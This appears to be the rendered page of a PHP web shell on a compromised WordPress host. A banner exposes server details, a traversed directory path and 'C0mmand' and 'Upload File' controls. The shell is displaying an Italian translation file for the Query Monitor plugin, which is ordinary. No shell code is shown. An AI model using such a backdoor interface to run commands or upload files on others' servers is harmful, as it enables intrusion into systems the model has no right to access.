|
Server IP : 10.106.20.8 / Your IP : 216.73.216.148 Web Server : Apache System : Linux webm008.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 User : sixiemesrc ( 611999) PHP Version : 8.0.30 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/sixiemesrc/new/wp-content/languages/../languages/themes/../plugins/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
# Translation of Plugins - Query Monitor – The developer tools panel for WordPress - Stable (latest release) in Italian # This file is distributed under the same license as the Plugins - Query Monitor – The developer tools panel for WordPress - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2025-10-10 13:11:46+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: GlotPress/4.0.1\n" "Language: it\n" "Project-Id-Version: Plugins - Query Monitor – The developer tools panel for WordPress - Stable (latest release)\n" #. translators: 1: PHP class name, 2: Version number. #: classes/Deprecated_Class_Run.php:35 msgid "Class %1$s is deprecated since version %2$s with no alternative available." msgstr "La classe %1$s è deprecata dalla versione %2$s senza alcuna alternativa disponibile." #. translators: 1: PHP class name, 2: Version number, 3: Alternative class or #. function name. #: classes/Deprecated_Class_Run.php:26 msgid "Class %1$s is deprecated since version %2$s! Use %3$s instead." msgstr "La classe %1$s è deprecata dalla versione %2$s! Utilizza %3$s al suo posto." #. translators: An HTTP API request redirected to another URL #: output/html/http.php:205 msgid "This HTTP request was redirected to:" msgstr "Questa richiesta HTTP è stata reindirizzata a:" #. translators: %s: The name of a filter that short-circuited an HTTP API #. request #: output/html/http.php:194 msgid "This HTTP request was short-circuited by the %s filter and was not sent" msgstr "La richiesta HTTP è stata interrotta dal filtro %s e non è stata inviata" #: output/html/environment.php:281 msgid "Basic Auth" msgstr "Autenticazione di base" #: output/html/assets.php:53 msgid "Module" msgstr "Modulo" #: collectors/logger.php:173 msgid "Assertion failed" msgstr "Assertion fallita" #. translators: %s: Assertion message #: collectors/logger.php:169 msgid "Assertion failed: %s" msgstr "Assertion fallita: %s" #: collectors/logger.php:161 msgid "Assertion passed" msgstr "Assertion superata" #. translators: %s: Assertion message #: collectors/logger.php:157 msgid "Assertion passed: %s" msgstr "Assertion superata: %s" #: classes/Collector.php:124 output/html/environment.php:240 msgid "empty string" msgstr "stringa vuota" #. translators: %s: Drop-in plugin file name #: classes/Component_Dropin.php:12 msgid "Drop-in: %s" msgstr "Drop-in: %s" #: output/html/hooks.php:36 msgid "Hooks, Actions, & Filters" msgstr "Hook, Azioni, & Filtri" #: output/html/environment.php:245 msgid "Development Mode" msgstr "Modalità di sviluppo" #. translators: %s: Total number of Doing it Wrong occurrences #: output/html/doing_it_wrong.php:118 msgctxt "Total Doing it Wrong occurrences" msgid "Total: %s" msgstr "Totale: %s" #: output/html/doing_it_wrong.php:57 msgid "No occurrences." msgstr "Nessuna occorrenza." #. translators: %s: Total number of Doing it Wrong occurrences #: output/html/doing_it_wrong.php:43 msgctxt "Doing it Wrong" msgid "Doing it Wrong (%s)" msgstr "Doing it Wrong (%s)" #: output/html/doing_it_wrong.php:41 msgid "Doing it Wrong occurrences" msgstr "Occorrenze di Doing it Wrong" #. translators: %s: Total number of Doing it Wrong occurrences #: output/html/doing_it_wrong.php:40 msgctxt "Doing it Wrong" msgid "Total: %s" msgstr "Totale: %s" #: output/html/doing_it_wrong.php:31 msgid "Doing it Wrong" msgstr "Doing it Wrong" #. translators: %s: Name of WordPress filter #: dispatchers/Html.php:608 msgid "The file link format for your editor is set by the %s filter." msgstr "Il formato del link del file per il tuo editor è definito dal filtro %s." #. translators: 1: WordPress hook name, 2: Version number, 3: Optional message #. regarding the change. #: classes/Deprecated_Hook_Run.php:38 msgid "Hook %1$s is deprecated since version %2$s with no alternative available. %3$s" msgstr "L'hook %1$s è deprecato dalla versione %2$s senza alcuna alternativa disponibile. %3$s" #. translators: 1: WordPress hook name, 2: Version number, 3: Alternative hook #. name, 4: Optional message regarding the change. #: classes/Deprecated_Hook_Run.php:28 msgid "Hook %1$s is deprecated since version %2$s! Use %3$s instead. %4$s" msgstr "L'hook %1$s è deprecato dalla versione %2$s! Utilizza %3$s al suo posto. %4$s" #. translators: 1: PHP function name, 2: Version number. #: classes/Deprecated_Argument_Run.php:35 msgid "Function %1$s was called with an argument that is deprecated since version %2$s with no alternative available." msgstr "La funzione %1$s è stata richiamata con un argomento che è deprecato dalla versione %2$s senza alcuna alternativa disponibile." #. translators: 1: PHP function name, 2: Version number, 3: Optional message #. regarding the change. #: classes/Deprecated_Argument_Run.php:26 msgid "Function %1$s was called with an argument that is deprecated since version %2$s! %3$s" msgstr "La funzione %1$s è stata richiamata con un argomento che è deprecato dalla versione %2$s! %3$s" #. translators: 1: PHP file name, 2: Version number, 3: Optional message #. regarding the change. #: classes/Deprecated_File_Included.php:38 msgid "File %1$s is deprecated since version %2$s with no alternative available. %3$s" msgstr "Il file %1$s è deprecato dalla versione %2$s senza alcuna alternativa disponibile. %3$s" #. translators: 1: PHP file name, 2: Version number, 3: Alternative file name, #. 4: Optional message regarding the change. #: classes/Deprecated_File_Included.php:28 msgid "File %1$s is deprecated since version %2$s! Use %3$s instead. %4$s" msgstr "Il file %1$s è deprecato dalla versione %2$s! Utilizza %3$s al suo posto. %4$s" #. translators: 1: PHP class name, 2: PHP parent class name, 3: Version number, #. 4: __construct() method. #: classes/Deprecated_Constructor_Run.php:26 msgid "The called constructor method for %1$s class in %2$s is deprecated since version %3$s! Use %4$s instead." msgstr "Il metodo di costruzione richiamato per la classe %1$s in %2$s è deprecato dalla versione %3$s! Utilizza %4$s al suo posto." #. translators: 1: PHP class name, 2: Version number, 3: __construct() method. #: classes/Deprecated_Constructor_Run.php:36 msgid "The called constructor method for %1$s class is deprecated since version %2$s! Use %3$s instead." msgstr "Il metodo di costruzione richiamato per la classe %1$s è deprecato dalla versione %2$s! Utilizza %3$s al suo posto." #. translators: 1: PHP function name, 2: Version number, 3: Alternative #. function name. #: classes/Deprecated_Function_Run.php:26 msgid "Function %1$s is deprecated since version %2$s! Use %3$s instead." msgstr "La funzione %1$s è deprecata dalla versione %2$s! Utilizza %3$s al suo posto." #. translators: 1: PHP function name, 2: Version number. #: classes/Deprecated_Function_Run.php:35 msgid "Function %1$s is deprecated since version %2$s with no alternative available." msgstr "La funzione %1$s è deprecata dalla versione %2$s senza alcuna alternativa disponibile." #. translators: Developer debugging message. 1: PHP function name, 2: #. Explanatory message, 3: WordPress version number. #: classes/Doing_It_Wrong_Run.php:33 msgid "Function %1$s was called incorrectly. %2$s %3$s" msgstr "La funzione %1$s é stata richiamata incorrettamente. %2$s %3$s" #. translators: %s: Version number. #: classes/Doing_It_Wrong_Run.php:26 msgid "(This message was added in version %s.)" msgstr "(Questo messaggio è stato aggiunto nella versione %s.)" #. translators: %s: Number of PHP errors #: output/html/php_errors.php:201 msgctxt "PHP error count" msgid "Total: %s" msgid_plural "Total: %s" msgstr[0] "Totale: %s" msgstr[1] "Totale: %s" #: output/html/theme.php:84 msgid "Block Template" msgstr "Template del blocco" #: output/html/timing.php:216 msgid "Timings" msgstr "Timing" #. translators: %s: Link to help article #: output/html/timing.php:45 msgid "No data logged. <a href=\"%s\">Read about timing and profiling in Query Monitor</a>." msgstr "Nessun dato presente nel log. <a href=\"%s\">Informazioni su timing e profiling in Query Monitor</a>." #: output/html/multisite.php:52 msgid "Site Switch" msgstr "Cambio sito" #: output/html/multisite.php:51 msgid "Function" msgstr "Funzione" #: output/html/multisite.php:37 msgid "No data logged." msgstr "Nessun dato presente nel log." #. translators: A closure is an anonymous PHP function #: classes/Util.php:421 msgid "Unknown closure" msgstr "Closure sconosciuta" #. translators: %s: Name of a multilingual plugin #: output/html/languages.php:62 output/html/languages.php:75 msgid "%s Language" msgstr "Lingua %s" #: dispatchers/Html.php:624 msgctxt "colour scheme" msgid "Dark" msgstr "Scuro" #: dispatchers/Html.php:623 msgctxt "colour scheme" msgid "Light" msgstr "Chiaro" #: dispatchers/Html.php:622 msgctxt "colour scheme" msgid "Auto" msgstr "Automatico" #: dispatchers/Html.php:619 msgid "Your browser color scheme is respected by default. You can override it here." msgstr "La combinazione di colori del tuo browser viene rispettata per impostazione predefinita. Puoi modificarla qui." #: dispatchers/Html.php:617 msgid "Appearance" msgstr "Aspetto" #. translators: %s: Memory usage in megabytes with a decimal fraction. Note the #. space between value and unit symbol. #: output/headers/overview.php:40 output/html/overview.php:392 msgid "%s MB" msgstr "%s MB" #: output/html/overview.php:361 msgid "Speak to your web host about enabling an opcode cache such as OPcache." msgstr "Chiedi al tuo fornitore di web hosting di abilitare una cache opcode come ad esempio OPcache." #: output/html/overview.php:358 msgid "Opcode cache not in use" msgstr "Opcode cache non è in uso" #: output/html/overview.php:342 msgid "Opcode Cache" msgstr "Opcode Cache" #: output/html/overview.php:325 msgid "Speak to your web host about enabling an object cache extension such as Redis or Memcached." msgstr "Chiedi al tuo fornitore di web hosting di abilitare un'estensione PHP per l'object cache come ad esempio Redis o Memcached." #. translators: 1: PHP extension name, 2: URL to plugin directory #: output/html/overview.php:308 msgid "The %1$s object cache extension for PHP is installed but is not in use by WordPress. You should <a href=\"%2$s\" target=\"_blank\" class=\"qm-external-link\">install a %1$s plugin</a>." msgstr "L'estensione per l'object cache %1$s per PHP è installata ma non è in uso da WordPress. Dovresti <a href=\"%2$s\" target=\"_blank\" class=\"qm-external-link\">installare un plugin per %1$s</a>." #: output/html/overview.php:293 msgid "Persistent object cache plugin not in use" msgstr "Plugin per persistent object cache non in uso" #: output/html/overview.php:286 msgid "Persistent object cache plugin in use" msgstr "Plugin per persistent object cache in uso" #. translators: 1: Memory used in bytes, 2: Memory used in megabytes #: output/html/overview.php:147 msgid "%1$s bytes (%2$s MB)" msgstr "%1$s byte (%2$s MB)" #. translators: %s: A time in seconds with a decimal fraction. No space between #. value and unit symbol. #: output/html/db_queries.php:489 output/html/overview.php:105 #: output/html/overview.php:190 output/html/overview.php:238 #: output/html/overview.php:387 msgctxt "Time in seconds" msgid "%ss" msgstr "%ss" #. translators: %s: Total number of items in a list #: output/html/logger.php:75 msgid "All (%d)" msgstr "Tutti (%d)" #: output/html/environment.php:280 msgid "Architecture" msgstr "Architettura" #. translators: %s: Number of database queries. Note the space between value #. and unit symbol. #: output/html/db_queries.php:494 output/html/db_queries.php:508 msgid "%s Q" msgid_plural "%s Q" msgstr[0] "%s Q" msgstr[1] "%s Q" #: output/html/assets_styles.php:38 msgid "No CSS files were enqueued." msgstr "Non sono stati accodati i file CSS." #: output/html/assets_scripts.php:38 msgid "No JavaScript files were enqueued." msgstr "Non sono stati accodati i file JavaScript." #: output/Html.php:324 msgid "Non-WordPress Core" msgstr "Non-WordPress Core" #: dispatchers/Html.php:664 msgid "Allow the wp-content/db.php file symlink to be put into place during activation. Set to false to prevent the symlink creation." msgstr "Consenti che il link simbolico al file wp-content/db.php sia impostato durante l'attivazione. Imposta a false per impedire la creazione del link simbolico." #. translators: %s: Number of hooks #: dispatchers/Html.php:388 msgid "Hooks in Use (%s)" msgstr "Hook in uso (%s)" #: dispatchers/Html.php:293 msgid "Data collection ceased" msgstr "Raccolta dei dati terminata" #: classes/Component_Core.php:10 output/Html.php:319 output/html/hooks.php:96 msgid "WordPress Core" msgstr "Core di WordPress" #: output/html/overview.php:246 msgctxt "HTTP API calls" msgid "Total" msgstr "Totale" #: output/html/block_editor.php:64 msgid "Context" msgstr "Contesto" #. translators: 1: Percentage of memory limit used, 2: Memory limit in #. megabytes #: output/headers/overview.php:47 output/html/overview.php:161 msgid "%1$s%% of %2$s MB server limit" msgstr "%1$s%% di %2$s MB limite del server" #: classes/QueryMonitor.php:84 msgctxt "verb" msgid "Sponsor" msgstr "Sponsor" #. translators: %s: File name #: output/html/db_queries.php:194 msgid "Extended query information such as the component and affected rows is not available. Query Monitor was unable to symlink its %s file into place." msgstr "Non sono disponibili informazioni avanzate sulla query (come il componente o le righe affette). Query Monitor non è stato in grado di creare un link simbolico al suo file %s." #. translators: 1: File name, 2: Configuration constant name #: output/html/db_queries.php:191 msgid "Extended query information such as the component and affected rows is not available. Query Monitor was prevented from symlinking its %1$s file into place by the %2$s constant." msgstr "Non sono disponibili informazioni avanzate sulla query (come il componente o le righe affette). Query Monitor non è stato in grado di creare un link simbolico al suo file %1$s a causa della costante %2$s." #. translators: %s: File name #: output/html/db_queries.php:188 msgid "Extended query information such as the component and affected rows is not available. A conflicting %s file is present." msgstr "Non sono disponibili informazioni avanzate sulla query (come il componente o le righe affette). Il file %s genera un conflitto." #. translators: %s: Dependency name #: classes/Component_Altis_Vendor.php:12 msgid "Dependency: %s" msgstr "Dipendenze: %s" #. translators: %s: Link to help article #: output/html/logger.php:46 msgid "No data logged. <a href=\"%s\">Read about logging variables in Query Monitor</a>." msgstr "Nessun dato presente nel log. <a href=\"%s\">Scopri registrare le variabili nei log in Query Monitor</a>." #: output/html/environment.php:226 msgid "Environment Type" msgstr "Tipo di ambiente" #: dispatchers/Html.php:652 msgid "Hide Query Monitor itself from various panels. Set to false if you want to see how Query Monitor hooks into WordPress." msgstr "Nascondi Query Monitor stesso dai vari pannelli. Imposta a false se vuoi vedere come Query Monitor utilizza gli hook di WordPress" #: dispatchers/Html.php:264 msgid "PHP Fatal Error" msgstr "Fatal Error PHP" #. translators: 1: CLI command to run, 2: plugin directory name #: dispatchers/Html.php:211 msgid "Asset files for Query Monitor need to be built. Run %1$s from the %2$s directory." msgstr "I file di asset di Query Monitor devono essere compilati. Esegui %1$s dalla directory %2$s." #. translators: %s: Plugin or theme name #: dispatchers/WP_Die.php:120 msgid "This message was triggered by %s." msgstr "Questo messaggio è stato generato da %s." #: dispatchers/Html.php:604 msgid "Saved! Reload to apply changes." msgstr "Salvato! Ricarica per applicare le modifiche." #: dispatchers/Html.php:600 msgid "Set editor cookie" msgstr "Imposta il cookie per l'editor" #: dispatchers/Html.php:576 msgid "You can set your editor here, so that when you click on stack trace links the file opens in your editor." msgstr "Qui puoi impostare il tuo editor, in modo tale che quando farai clic sui link dello stack trace il file si aprirà nel tuo editor." #: dispatchers/Html.php:573 msgid "Editor" msgstr "Editor" #. translators: %s: Number of logs that are available #: output/html/logger.php:219 msgid "Logs (%s)" msgstr "Log (%s)" #: output/html/request.php:197 msgid "Requested URL" msgstr "URL richiesto" #: output/html/request.php:196 msgid "HTTP method" msgstr "Metodo HTTP" #: output/html/request.php:195 msgid "Remote IP" msgstr "IP remoto" #: output/html/admin.php:75 msgid "Global Variable" msgstr "Variabile globale" #: output/html/admin.php:71 msgid "Globals" msgstr "Variabili globali" #: output/html/headers.php:119 msgid "Response Headers" msgstr "Header della risposta" #: output/html/headers.php:118 msgid "Request Headers" msgstr "Header della richiesta" #: output/html/headers.php:102 msgid "Note that header names are not case-sensitive." msgstr "Ricorda che i nomi degli header non sono case-sensitive." #: output/html/headers.php:69 msgid "Response Header Name" msgstr "Nome header della risposta" #: output/html/headers.php:54 msgid "Request Header Name" msgstr "Nome header della richiesta" #: output/html/timing.php:61 msgid "Stopped" msgstr "Fine" #: output/html/timing.php:60 msgid "Started" msgstr "Inizio" #. translators: %s: Number of database queries #: output/html/db_queries.php:290 msgctxt "Query count" msgid "Total: %s" msgid_plural "Total: %s" msgstr[0] "Totale: %s" msgstr[1] "Totale: %s" #: output/html/overview.php:84 msgid "Unknown HTTP Response Code" msgstr "Codice della risposta HTTP sconosciuto" #: output/html/headers.php:34 output/html/request.php:191 msgid "Request Data" msgstr "Dati della richiesta" #. translators: %s: Default value for a PHP constant #: dispatchers/Html.php:707 msgid "Default value: %s" msgstr "Valore predefinito: %s" #: output/html/theme.php:181 msgid "Not Loaded" msgstr "Non caricato" #. translators: 1: Query Monitor, 2: Required PHP version number, 3: Current #. PHP version number, 4: URL of PHP update help page #: classes/PHP.php:32 msgid "The %1$s plugin requires PHP version %2$s or higher. This site is running PHP version %3$s. <a href=\"%4$s\">Learn about updating PHP</a>." msgstr "Il plugin %1$s richiede la versione di PHP %2$s o superiore. Questo sito web sta eseguendo la versione di PHP %3$s. <a href=\"%4$s\">Scopri come aggiornare PHP</a>." #. translators: %s: Total number of enqueued scripts #: output/html/assets_scripts.php:37 msgctxt "Enqueued scripts" msgid "Scripts (%s)" msgstr "Script (%s)" #. translators: %s: Total number of enqueued styles #: output/html/assets_styles.php:37 msgctxt "Enqueued styles" msgid "Styles (%s)" msgstr "Fogli di stile (%s)" #: output/html/overview.php:331 msgid "Object cache statistics are not available" msgstr "Le statistiche della Object cache non sono disponibili" #: output/Html.php:393 msgid "Toggle more information" msgstr "Mostra/nascondi maggiori informazioni" #: output/Html.php:380 msgid "Sort data by this column" msgstr "Ordina dati in base a questa colonna" #: output/Html.php:177 output/html/hooks.php:59 msgid "Callback" msgstr "Callback" #. translators: %s: Panel name #: output/Html.php:167 msgid "%s: Related Hooks with Filters or Actions Attached" msgstr "%s: hook correlati con filtri e azioni collegati" #: output/Html.php:147 output/html/hooks.php:62 output/html/hooks.php:160 msgid "Filter" msgstr "Filtro" #: output/Html.php:146 msgid "Related Hooks with Filters Attached" msgstr "Hook correlati con Filtri collegati" #: output/Html.php:142 msgid "Related Hooks with Actions Attached" msgstr "Hook correlati con Azioni collegate" #: output/html/languages.php:95 msgid "Translation File" msgstr "File di traduzione" #. translators: %s: Name of cache driver #: output/html/overview.php:349 msgid "Opcode cache in use: %s" msgstr "Opcode cache in uso: %s" #: output/html/overview.php:212 msgctxt "database queries" msgid "Total" msgstr "Totale" #: output/html/block_editor.php:206 msgid "None (Classic block)" msgstr "Nessuno (Blocco Editor classico)" #: output/html/block_editor.php:70 msgid "Render Time" msgstr "Tempo di rendering" #: output/html/theme.php:205 msgid "Twig Template Files" msgstr "File template Twig" #: dispatchers/Html.php:491 msgid "Toggle panel position" msgstr "Mostra/nascondi posizione pannello" #. translators: %1$s: Erroneous post type name, %2$s: WordPress attachment post #. type name #: output/html/block_editor.php:172 msgid "Referenced media is of type %1$s instead of %2$s." msgstr "Il media referenziato è di tipo %1$s anziché %2$s." #: output/html/block_editor.php:164 msgid "Referenced media does not exist." msgstr "Il media referenziato non esiste." #. translators: %s: Total number of content blocks used #: output/html/block_editor.php:103 msgctxt "Content blocks used" msgid "Total: %s" msgid_plural "Total: %s" msgstr[0] "Totale: %s" msgstr[1] "Totale: %s" #: classes/QueryMonitor.php:61 msgid "Add-ons" msgstr "Add-on" #. translators: 1: Name of the PHP directive, 2: Value of the PHP directive #: output/html/overview.php:171 msgid "No memory limit. The %1$s PHP configuration directive is set to %2$s." msgstr "Nessun limite di memoria. La direttiva %1$s nella configurazione PHP è impostata a %2$s." #. translators: 1: Name of the PHP directive, 2: Value of the PHP directive #: output/html/overview.php:129 msgid "No execution time limit. The %1$s PHP configuration directive is set to %2$s." msgstr "Nessun limite di tempo di esecuzione. La direttiva %1$s nella configurazione PHP è impostata a %2$s." #: classes/Collector_Assets.php:469 msgid "Insecure content" msgstr "Contenuto non sicuro" #. translators: %1$s: Erroneous post type name, %2$s: WordPress block post type #. name #: output/html/block_editor.php:141 msgid "Referenced post is of type %1$s instead of %2$s." msgstr "Il post referenziato è di tipo %1$s anziché %2$s." #: output/html/block_editor.php:133 msgid "Referenced block does not exist." msgstr "Il blocco referenziato non esiste." #: output/html/block_editor.php:73 msgid "Inner HTML" msgstr "HTML interno" #: output/html/block_editor.php:67 msgid "Render Callback" msgstr "Callback di rendering" #: output/html/block_editor.php:61 msgid "Attributes" msgstr "Attributi" #: output/html/block_editor.php:60 msgid "Block Name" msgstr "Nome del blocco" #: output/html/block_editor.php:47 msgid "This post contains no blocks." msgstr "Questo articolo non contiene blocchi." #. translators: %s: The number of times that a template part file was included #. in the page #: output/html/theme.php:166 msgctxt "template parts" msgid "Included %s time" msgid_plural "Included %s times" msgstr[0] "Incluso %s volta" msgstr[1] "Incluso %s volte" #: output/html/block_editor.php:30 output/html/block_editor.php:339 msgid "Blocks" msgstr "Blocchi" #: classes/QueryMonitor.php:217 msgctxt "Human readable label for the user capability required to view Query Monitor." msgid "View Query Monitor" msgstr "Visualizza Query Monitor" #: output/html/transients.php:129 msgid "No transients set." msgstr "Nessun transient impostato." #: output/html/overview.php:62 msgid "PHP errors were triggered during an Ajax request. See your browser developer console for details." msgstr "Si sono verificati degli errori PHP durante una richiesta Ajax. Visualizza la console per sviluppatori del tuo browser per maggiori dettagli." #: output/html/logger.php:221 output/raw/logger.php:21 msgid "Logs" msgstr "Log" #: output/html/http.php:367 msgid "No HTTP API calls." msgstr "Nessuna chiamata HTTP API." #. translators: %s: Number of HTTP API requests #: output/html/http.php:355 msgctxt "HTTP API calls" msgid "Total: %s" msgid_plural "Total: %s" msgstr[0] "Totale: %s" msgstr[1] "Totale: %s" #: output/html/environment.php:158 msgid "Client Version" msgstr "Versione del client" #: output/html/environment.php:157 msgid "Extension" msgstr "Estensione" #: output/html/environment.php:156 msgid "Server Version" msgstr "Versione del server" #. translators: %s: Number of user capability checks #: output/html/caps.php:198 msgctxt "User capability checks" msgid "Total: %s" msgid_plural "Total: %s" msgstr[0] "Totale: %s" msgstr[1] "Totale: %s" #: output/html/assets.php:78 msgid "Source" msgstr "Sorgente" #. translators: %s: Total number of enqueued styles #: output/html/assets_styles.php:34 msgctxt "Enqueued styles" msgid "Total: %s" msgstr "Totale: %s" #. translators: %s: Total number of enqueued scripts #: output/html/assets_scripts.php:34 msgctxt "Enqueued scripts" msgid "Total: %s" msgstr "Totale: %s" #: output/Html.php:374 msgid "Sequence" msgstr "Sequenza" #. translators: %s: Current value for a PHP constant #: dispatchers/Html.php:721 msgid "Current value: %s" msgstr "Valore corrente: %s" #. translators: %s: Name of the config file #: dispatchers/Html.php:687 msgid "The following PHP constants can be defined in your %s file in order to control the behavior of Query Monitor:" msgstr "Le seguenti costanti PHP possono essere definite nel tuo file %s per controllare il comportamento di Query Monitor:" #: dispatchers/Html.php:683 msgid "Configuration" msgstr "Configurazione" #: dispatchers/Html.php:660 msgid "In the Hooks & Actions panel, show every hook that has an action or filter attached (instead of every action hook that fired during the request)." msgstr "Nel pannello Hook & Azioni, sono mostrati tutti gli hook che sono collegati a un'azione o un filtro (anziché tutti gli hook che sono stati attivati durante la richiesta)." #: dispatchers/Html.php:656 msgid "Don't specify jQuery as a dependency of Query Monitor. If jQuery isn't enqueued then Query Monitor will still operate, but with some reduced functionality." msgstr "Non specificare jQuery come dipendenza di Query Monitor. Se jQuery non viene caricata Query Monitor funzionerà ugualmente, ma con alcune funzionalità ridotte." #: dispatchers/Html.php:648 msgid "Hide WordPress core on the Hooks & Actions panel." msgstr "Nascondi il core di WordPress nel pannello Hook & Azioni." #: dispatchers/Html.php:644 msgid "Enable the Capability Checks panel." msgstr "Abilita il pannello per il controllo delle capacità." #: dispatchers/Html.php:640 msgid "Disable the handling of PHP errors." msgstr "Disabilita la gestione degli errori PHP." #: dispatchers/Html.php:636 msgid "Disable Query Monitor entirely." msgstr "Disabilita completamente Query Monitor." #: dispatchers/Html.php:632 msgid "If an individual database query takes longer than this time to execute, it's considered \"slow\" and triggers a warning." msgstr "Se l'esecuzione di una singola query al database impiega più del tempo specificato, la query è considerata \"lenta\" e innesca un warning." #: dispatchers/Html.php:567 msgid "Authentication cookie is set" msgstr "Il cookie di autenticazione è impostato." #: dispatchers/Html.php:560 msgid "You can set an authentication cookie which allows you to view Query Monitor output when you’re not logged in, or when you’re logged in as a different user." msgstr "Puoi impostare il cookie di autenticazione che ti permette di vedere l'output di Query Monitor quando non sei connesso, o quando sei connesso con un utente diverso." #: dispatchers/Html.php:498 msgid "Query Monitor Menu" msgstr "Menu Query Monitor" #: output/html/logger.php:31 msgid "Logger" msgstr "Logger" #. Description of the plugin #: query-monitor.php msgid "The developer tools panel for WordPress." msgstr "Il pannello di strumenti di sviluppo per WordPress." #. translators: %s: Number of function timing results that are available #: output/html/timing.php:214 msgid "Timings (%s)" msgstr "Cronometraggio (%s)" #. translators: %s: Approximate memory used in kilobytes #: output/html/timing.php:110 output/html/timing.php:142 msgid "~%s kB" msgstr "~%s kB" #: output/html/timing.php:63 msgid "Memory" msgstr "Memoria" #: output/html/timing.php:59 msgid "Tracked Function" msgstr "Funzione tracciata" #: output/html/theme.php:275 msgid "Template" msgstr "Template" #: output/html/request.php:163 msgid "Current User" msgstr "Utente corrente" #. translators: used between list items, there is a space after the comma #: output/html/php_errors.php:296 msgid ", " msgstr ", " #. translators: %s: List of PHP error types #. translators: %s: Number of errors #: output/html/php_errors.php:293 output/html/php_errors.php:343 msgid "PHP Errors (%s)" msgstr "Errori PHP (%s)" #. translators: %s: Number of PHP warnings #: output/html/php_errors.php:246 msgctxt "PHP error level" msgid "%s Warning" msgid_plural "%s Warnings" msgstr[0] "%s Warning" msgstr[1] "%s Warning" #. translators: %s: Number of PHP notices #: output/html/php_errors.php:244 msgctxt "PHP error level" msgid "%s Notice" msgid_plural "%s Notices" msgstr[0] "%s Notice" msgstr[1] "%s Notice" #. translators: %s: Number of strict PHP errors #: output/html/php_errors.php:242 msgctxt "PHP error level" msgid "%s Strict" msgid_plural "%s Stricts" msgstr[0] "%s Strict" msgstr[1] "%s Strict" #. translators: %s: Number of deprecated PHP errors #: output/html/php_errors.php:240 msgctxt "PHP error level" msgid "%s Deprecated" msgid_plural "%s Deprecated" msgstr[0] "%s Deprecated" msgstr[1] "%s Deprecated" #: output/html/doing_it_wrong.php:69 output/html/logger.php:85 #: output/html/php_errors.php:79 msgid "Message" msgstr "Messaggio" #: output/html/logger.php:83 output/html/php_errors.php:77 msgid "Level" msgstr "Livello" #: output/html/overview.php:61 msgid "A JavaScript problem on the page is preventing Query Monitor from working correctly. jQuery may have been blocked from loading." msgstr "Un problema Javascript sulla pagina sta impedendo a Query Monitor di funzionare correttamente. Il caricamento di jQuery potrebbe essere stato bloccato." #: output/html/languages.php:96 msgid "Size" msgstr "Dimensione" #: output/html/environment.php:276 output/html/http.php:277 msgid "IP Address" msgstr "Indirizzo IP" #: output/html/http.php:276 msgid "Response Content Type" msgstr "Content Type risposta" #: output/html/http.php:81 msgid "Response Size" msgstr "Dimensione risposta" #: output/html/http.php:262 msgid "Transfer Start Time (TTFB)" msgstr "Tempo inizio trasferimento (TTFB)" #: output/html/http.php:261 msgid "Connection Time" msgstr "Tempo di connessione" #: output/html/http.php:260 msgid "DNS Resolution Time" msgstr "Tempo di risoluzione DNS" #: output/html/http.php:69 msgid "URL" msgstr "URL" #: output/html/http.php:67 msgid "Method" msgstr "Metodo" #: output/Html.php:176 output/html/hooks.php:72 msgid "Priority" msgstr "Priorità" #. translators: OS stands for Operating System #: output/html/environment.php:279 msgid "OS" msgstr "Sistema operativo" #: output/html/db_queries.php:78 msgid "No database queries were logged." msgstr "Nessuna query al database è stata registrata." #: output/html/conditionals.php:57 msgid "False Conditionals" msgstr "Tag condizionali falsi" #: output/html/conditionals.php:44 msgid "True Conditionals" msgstr "Tag condizionali veri" #. translators: %s: Configuration file name. #: output/html/caps.php:47 msgid "For performance reasons, this panel is not enabled by default. To enable it, add the following code to your %s file:" msgstr "Per ragioni di performance, questo pannello non è abilitato nativamente. Per abilitarlo, aggiungi il seguente codice nel tuo file %s:" #: output/html/assets.php:69 msgid "Handle" msgstr "Handle" #: output/html/assets.php:76 output/html/environment.php:160 #: output/html/environment.php:277 msgid "Host" msgstr "Host" #: output/html/assets.php:61 output/html/assets.php:153 msgid "Other" msgstr "Altro" #: output/html/assets.php:52 msgid "Missing Dependencies" msgstr "Dipendenze mancanti" #: output/html/admin.php:105 msgid "Class:" msgstr "Classe:" #: output/html/admin.php:102 msgid "List Table" msgstr "Elenco tabellare" #: dispatchers/Html.php:493 msgid "Close Panel" msgstr "Chiudi pannello" #: classes/QueryMonitor.php:60 dispatchers/Html.php:478 #: dispatchers/Html.php:489 dispatchers/Html.php:554 msgid "Settings" msgstr "Impostazioni" #: collectors/timing.php:143 msgid "Timer not stopped" msgstr "Timer non fermato" #: collectors/timing.php:81 collectors/timing.php:101 msgid "Timer not started" msgstr "Timer non avviato" #: output/html/timing.php:30 msgid "Timing" msgstr "Cronometraggio" #. translators: %d: Multisite network ID #: collectors/request.php:179 msgid "Current Network: #%d" msgstr "Network corrente: #%d" #: output/html/php_errors.php:63 msgctxt "Silenced PHP error level" msgid "Deprecated (Silenced)" msgstr "Deprecated (Silenziato)" #: output/html/php_errors.php:62 msgctxt "Silenced PHP error level" msgid "Strict (Silenced)" msgstr "Strict (Silenziato)" #: output/html/php_errors.php:61 msgctxt "Silenced PHP error level" msgid "Notice (Silenced)" msgstr "Notice (Silenziato)" #: output/html/php_errors.php:60 msgctxt "Silenced PHP error level" msgid "Warning (Silenced)" msgstr "Warning (Silenziato)" #. translators: A non-blocking HTTP API request #: output/html/http.php:57 output/html/http.php:119 msgid "Non-blocking" msgstr "Non bloccante" #. translators: %s: Timing lap number #: classes/Timer.php:91 msgid "Lap %s" msgstr "Giro %s" #. translators: No user #: collectors/request.php:156 msgctxt "user" msgid "None" msgstr "Nessuno" #. translators: %d: User ID #: collectors/request.php:151 msgid "Current User: #%d" msgstr "Utente corrente: #%d" #: output/html/db_queries.php:218 msgid "Non-SELECT" msgstr "Non-SELECT" #: output/html/db_queries.php:97 msgid "Error Message" msgstr "Messaggio di errore" #: output/html/db_queries.php:98 msgid "Error Code" msgstr "Codice errore" #: output/html/caps.php:209 msgid "No capability checks were recorded." msgstr "Non sono stati registrati controlli di capacità." #: output/html/caps.php:91 msgid "Result" msgstr "Risultato" #: 